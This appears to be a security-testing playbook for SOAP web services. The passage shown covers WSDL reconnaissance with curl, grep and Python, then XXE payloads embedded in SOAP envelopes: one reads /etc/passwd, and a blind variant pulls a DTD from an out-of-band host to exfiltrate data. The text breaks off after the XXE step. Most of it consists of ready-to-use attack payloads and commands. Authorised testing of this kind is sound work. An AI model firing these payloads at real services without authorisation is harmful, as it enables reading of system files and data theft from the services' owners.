SOAP Web Service Security Testing

Purpose

Exploit SOAP services: XML attacks through the envelope (XXE, XPath/XSLT injection, entity expansion), operation routing confusion (SOAPAction spoofing), and WS-Security implementation failures.

Preconditions

• Service endpoint URL and WSDL access (append ?wsdl to typical service paths)
• SOAP client tooling: curl with crafted envelopes, Python requests, SoapUI (optional)
• Understanding of the SOAP version (1.1 vs 1.2) in use (affects headers)

Attack Surface Signals

• WSDL disclosures with full operation/parameter schemas
• Content-Type: text/xml / application/soap+xml endpoints
• SOAPAction headers, WS-Security UsernameTokens, SAML assertions in headers
• Legacy enterprise, financial, healthcare, and integration services

Methodology

Step 1: WSDL Reconnaissance

curl -sk "https://TARGET/service?wsdl" > tmp/service.wsdl
# Extract operations, parameters, and namespaces
grep -o 'name="[^"]*"' tmp/service.wsdl | sort -u
python3 - <<'PY'
import re
wsdl = open('tmp/service.wsdl').read()
for op in re.findall(r'<wsdl:operation name="([^"]+)"', wsdl):
    print(op)
PY

The WSDL enumerates every operation including undocumented internal ones. Do not re-enumerate the surface here, consume reconnaissance output.

Step 2: XXE

<!-- Classic file read -->
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><op><param>&xxe;</param></op></soap:Body>
</soap:Envelope>
<!-- Blind OOB when output is suppressed -->
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "https://OOB.oast.pro/x.dtd"> %dtd;]>

Confirmed by file contents in the response or an OOB callback with the exfiltrated data, never by parse errors alone. Test every operation and every XML parameter, plus headers that reach the parser.